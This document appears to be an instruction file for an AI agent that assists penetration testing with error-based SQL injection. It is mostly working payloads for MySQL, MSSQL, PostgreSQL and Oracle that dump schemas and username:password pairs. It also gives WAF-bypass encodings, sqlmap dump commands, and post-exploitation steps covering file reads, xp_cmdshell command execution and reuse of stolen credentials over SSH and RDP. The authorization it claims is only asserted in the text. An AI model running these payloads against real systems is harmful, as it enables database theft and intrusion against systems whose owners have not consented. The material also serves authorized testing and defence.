SQL Injection Error

Error-Based SQL Injection

You are helping a penetration tester exploit error-based SQL injection. The target application returns database error messages that can be leveraged to extract data. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [sql-injection-error] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Confirmed SQL injection point (see web-discovery)
• Application displays verbose database error messages in the response
• If errors are generic or hidden, use sql-injection-blind instead

Step 1: Assess

If not already provided by the orchestrator or conversation context, determine:

1. Injection point — URL, parameter name, request method
2. Error observed — paste the exact error message
3. DBMS — if known from error signatures or prior testing

Skip if context was already provided.

Step 2: Identify DBMS

If the DBMS is unknown, fingerprint from the error message:

If unclear, inject identification payloads:

' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--+          -- MySQL
' AND 1=CONVERT(INT,@@version)--+                        -- MSSQL
' AND 1=CAST(version() AS INT)--+                        -- PostgreSQL
' AND 1=utl_inaddr.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1))--+ -- Oracle

Step 3: Extract Data

Walk through extraction in this order:

1. Current user and database — confirms extraction works
2. List databases/schemas
3. List tables in the target database
4. List columns in the target table
5. Extract data — credentials, secrets, flags

MySQL

EXTRACTVALUE (MySQL 5.1+) — most reliable:

' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user())))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='TARGET_DB')))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='TARGET_TABLE')))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(username,0x3a,password) FROM TARGET_TABLE)))--+

32-char truncation: EXTRACTVALUE/UPDATEXML truncate to ~32 chars. Paginate:

' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),1,31)))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT ...),32,31)))--+

Alternatives when EXTRACTVALUE is blocked:

-- UPDATEXML
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)--+

-- GTID_SUBSET (MySQL 5.6+)
' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user())),1)--+

-- JSON_KEYS (MySQL 5.7+)
' AND JSON_KEYS(CONCAT(0x7e,(SELECT user())))--+

-- FLOOR(RAND()) — classic double-query error
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

-- EXP (MySQL 5.5+) — overflow error
' AND EXP(~(SELECT * FROM (SELECT user())a))--+

MSSQL

CONVERT/CAST — force type conversion error:

' AND 1=CONVERT(INT,SYSTEM_USER)--+
' AND 1=CONVERT(INT,DB_NAME())--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM master..sysdatabases))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN ('master','tempdb','model','msdb')))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM syscolumns WHERE id=OBJECT_ID('TARGET_TABLE')))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 username+':'+password FROM TARGET_TABLE))--+

WAF bypass alternatives:

' AND 1=SUSER_NAME((SELECT TOP 1 name FROM master..sysdatabases))--+
' AND 1=USER_NAME((SELECT TOP 1 name FROM master..sysdatabases))--+
' AND 1=0/@@version--+

PostgreSQL

CAST — force type conversion:

' AND 1=CAST(current_user AS INT)--+
' AND 1=CAST(current_database() AS INT)--+
' AND 1=CAST((SELECT string_agg(datname,',') FROM pg_database) AS INT)--+
' AND 1=CAST((SELECT string_agg(tablename,',') FROM pg_tables WHERE schemaname='public') AS INT)--+
' AND 1=CAST((SELECT string_agg(column_name,',') FROM information_schema.columns WHERE table_name='TARGET_TABLE') AS INT)--+
' AND 1=CAST((SELECT string_agg(username||':'||password,',') FROM TARGET_TABLE) AS INT)--+

XML helper for large datasets:

' AND 1=CAST(query_to_xml('SELECT * FROM TARGET_TABLE',true,false,'') AS INT)--+

Oracle

utl_inaddr.get_host_name:

' AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))--+
' AND 1=utl_inaddr.get_host_name((SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name) FROM user_tables WHERE ROWNUM<=10))--+

Alternatives:

' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--+
' AND 1=(SELECT UPPER(dbms_xmlgen.getxml('SELECT user FROM dual')) FROM dual)--+
' AND 1=(SELECT XMLType('<:'||(SELECT user FROM dual)||'>') FROM dual)--+
' AND 1=DBMS_UTILITY.SQLID_TO_SQLHASH((SELECT user FROM dual))--+

Step 4: Post-Exploitation

After extracting target data:

1. File read — MySQL LOAD_FILE(), MSSQL OPENROWSET BULK, PostgreSQL pg_read_file()
2. Command execution — route to sql-injection-stacked for xp_cmdshell, COPY TO PROGRAM
3. Credential reuse — test extracted creds against SSH, RDP, admin panels

Step 5: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

OPSEC Notes

• Error-based injection is read-only — no database artifacts to clean up
• Payloads appear in application logs, DB slow query logs, and WAF logs
• Defenders look for: EXTRACTVALUE, UPDATEXML, GTID_SUBSET, CONVERT(INT,, CAST(... AS INT) patterns

Troubleshooting

Error Messages Not Displayed

The application may catch errors and return a generic page:

• Try sql-injection-blind (boolean or time-based) instead
• Check if errors appear in HTTP headers (X-Debug, X-Error)
• Check if error details appear in a different response format (JSON error field, XML fault)

Output Truncated

EXTRACTVALUE/UPDATEXML limit output to ~32 chars. Paginate with SUBSTRING:

SUBSTRING((SELECT ...),1,31)    -- chars 1-31
SUBSTRING((SELECT ...),32,31)   -- chars 32-62

WAF Blocking Keywords

-- Replace EXTRACTVALUE with UPDATEXML or GTID_SUBSET
-- Use MySQL conditional comments
' AND /*!50000EXTRACTVALUE*/(1,CONCAT(0x7e,version()))--+

-- Hex-encode string literals
-- 'information_schema' -> 0x696e666f726d6174696f6e5f736368656d61

-- Double URL-encode
%2527%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,version()))--+

Automated Extraction with sqlmap

# Error-based technique only
sqlmap -u "https://TARGET/page?id=1" --batch --technique=E --dbs

# From Burp request file
sqlmap -r request.txt --batch --technique=E --dbs

# Dump specific table
sqlmap -r request.txt --batch --technique=E -D TARGET_DB -T TARGET_TABLE --dump

# With tamper scripts
sqlmap -r request.txt --batch --technique=E --tamper=between,randomcase --dbs